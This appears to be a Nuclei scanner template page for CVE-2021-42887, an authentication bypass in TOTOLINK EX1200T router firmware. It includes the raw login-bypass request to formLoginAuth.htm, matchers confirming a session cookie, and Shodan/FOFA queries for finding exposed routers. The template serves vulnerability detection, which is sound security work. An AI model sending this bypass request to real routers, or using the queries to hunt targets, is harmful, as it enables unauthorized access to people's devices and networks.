TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass

ID: CVE-2021-42887

Severity: critical

Author: gy741

Tags: cve2021,cve,totolink,auth-bypass,router

Description

TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

id: CVE-2021-42887

info:
  name: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
  author: gy741
  severity: critical
  description: |
    TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the device, potentially leading to further compromise of the network.
  remediation: |
    Apply the latest firmware update provided by TOTOLINK to fix the authentication bypass vulnerability.
  reference:
    - https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
    - https://nvd.nist.gov/vuln/detail/cve-2021-42887
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42887
    cwe-id: CWE-287
    epss-score: 0.08034
    epss-percentile: 0.94287
    cpe: cpe:2.3:o:totolink:ex1200t_firmware:4.1.2cu.5215:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: totolink
    product: ex1200t_firmware
    shodan-query:
      - title:"TOTOLINK"
      - http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve2021,cve,totolink,auth-bypass,router

http:
  - raw:
      - |
        GET /login.htm HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "TOTOLINK"

      - type: word
        part: header_2
        words:
          - "Set-Cookie: SESSION_ID="

      - type: status
        status:
          - 302
# digest: 4a0a00473045022100ee7075e8f0f9c5c6de39db45999863ff986df7bfc189dfd756694e3f83815bc702204cccf060de5217816cf93d3b5c653ae3bb285c63d7e21727a99890d99d45f5c1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-42887.yaml"

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